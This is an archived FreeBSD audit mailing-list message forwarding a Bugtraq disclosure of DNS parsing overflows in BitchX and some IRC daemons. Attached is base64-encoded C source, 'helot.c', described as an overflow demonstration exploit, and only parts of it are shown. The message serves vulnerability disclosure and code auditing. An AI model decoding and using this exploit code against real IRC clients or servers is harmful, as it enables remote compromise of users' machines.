Date: Fri, 8 Dec 2000 00:34:35 -0600 (CST) From: Mike Silbersack <silby@silby.com> To: freebsd-audit@freebsd.org Subject: bitchx/ircd DNS overflow demonstration (fwd) Message-ID: <Pine.BSF.4.21.0012080032150.22989-101000@achilles.silby.com>
next in thread | raw e-mail | index | archive | help
This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --1BoxPartBoundary97620769315457976207693 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: <Pine.BSF.4.21.0012080032152.22989@achilles.silby.com> Content-Disposition: INLINE Since people appear to be on an auditing rampage, I thought I'd forward this over to the list. It describes some DNS parsing bugs in a few ircds and BitchX that seem to have serious consequences. It may be worth a look into if programs in the base system have similar problems. Mike "Silby" Silbersack ---------- Forwarded message ---------- Date: Thu, 7 Dec 2000 08:48:13 -0800 From: nimrood <nimrood@ONEBOX.COM> To: BUGTRAQ@SECURITYFOCUS.COM Subject: bitchx/ircd DNS overflow demonstration code is attached. __________________________________________________ FREE voicemail, email, and fax...all in one place. Sign Up Now! http://www.onebox.com --1BoxPartBoundary97620769315457976207693 Content-Type: APPLICATION/OCTET-STREAM; CHARSET=us-ascii Content-Transfer-Encoding: BASE64 Content-ID: <Pine.BSF.4.21.0012080032153.22989@achilles.silby.com> Content-Description: Content-Disposition: ATTACHMENT; FILENAME="helot.c" LyoKICogaGVsb3QuYyAtIGJpdGNoeC9pcmNkIEROUyBvdmVyZmxvdyBkZW1vbnN0cmF0aW9u CiAqIHcwMHcwMCBTZWN1cml0eSBEZXZlbG9wbWVudCAoV1NEKQogKiAxMi4wNC4yMDAwIG5p bXJvb2QgKG5pbXJvb2RAb25lYm94LmNvbSkKICoKICogdGhpcyBzYW1lIGNvZGUgaSB1c2Vk IHRvIGV4cGxvaXQgYW4gaXJjZCBETlMgc3Bvb2ZpbmcgYnVnCiAqIGZyb20gZWFybHkgJzk5 LiByZS11c2FibGUgY29kZSBpcyBncmVhdC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cmVzc2VzKVxuIiwKCXByb2cpOwoJZXhpdCgxKTsK fQoKY2hhciAqaXAySW5BZGRyU3RyKHVfbG9uZyBpcCkKewoJc3RhdGljIGNoYXIgKnN0cjsK CXVfY2hhciAqYnl0ZTsKCglpZighc3RyKSAKCXsKCQlpZigoc3RyPW1hbGxvYyhNQVhMQUJF TCkpID09IE5VTEwpCgkJCXJldHVybihzdHIpOwoJfQoKCS8qIElQIHNob3VsZCBiZSBpbiBu ZXR3b3JrIG9yZGVyIHRvIGdlbmVyYXRlIGEgcHJvcGVyIGluLWFkZHIgKi8JCglieXRlID0g KHVfY2hhciAqKSZpcDsKCXNwcmludGYoc3RyLCAiJWQuJWQuJWQuJWQuSU4tQUREUi5BUlBB LiIsIGJ5dGVbM10sIGJ5dGVbMl0sIGJ5dGVbMV0sCgkJYnl0ZVswXSk7CgoJcmV0dXJuKHN0 cik7Cn0KCnVfc2hvcnQgRXhwYW5kRE5hbWUoY2hhciAqY29tcCwgY2hhciAqZGVzdCwgdV9z aG9ydCBsZW4pCnsKICAgICAgICBjaGFyICpjcCwgKmNwMjsKICAgICAgICB1X3Nob3J0IG51 bTsKCiAgICAgICAgY3AgPSBjb21wOyBjcDIgPSBkZXN0OwogICAgICAgIGlmKHN0cmNocihj cCwgJy4nKSAmJiBzdHJsZW4oY3ApIDwgbGVuKQogICAgICAgIHsKICAgICAgICAgICAgICAg IHN0cmNweShjcDIsIGNwKTsKICAgICAgICAgICAgICAgIGlmKCooY3AyICsgc3RybGVuKGNw MikpICE9ICcuJykKICAgICAgICAgICAgICAgICAgICAgICAgc3RyY2F0KGNwMiwgIi4iKTsK ICAgICAgICAgICAgICAgIHJldHVybihzdHJsZW4oY3AyKSk7CiAgICAgICAgfQoKICAgICAg ICB3aGlsZSgoKmNwKSAmJiAoY3ApKQogICAgICAgIHsKICAgICAgICAgICAgICAgIG51bSA9 ICh1X2NoYXIpKmNwOwogICAgICAgICAgICAgICAgaWYobnVtICsgKGNwMiAtIGRlc3QpID4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JfQoJCX0KCQlmcHJpbnRmKHN0ZGVyciwiXG4iKTsKCX0K CmV4aXRfaGVsb3Q6CglmcHJpbnRmKHN0ZGVyciwgIlxuY2xlYW5pbmcgdXAuLi5cbiIpOwoJ ZnJlZShxbmFtZSk7IGZyZWUoaG9zdG5hbWUpOyBmcmVlKGluYWRkcnN0cik7IGNsb3NlKHNk KTsKCWV4aXQoLTEpOwp9Cg== --1BoxPartBoundary97620769315457976207693-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-audit" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?Pine.BSF.4.21.0012080032150.22989-101000>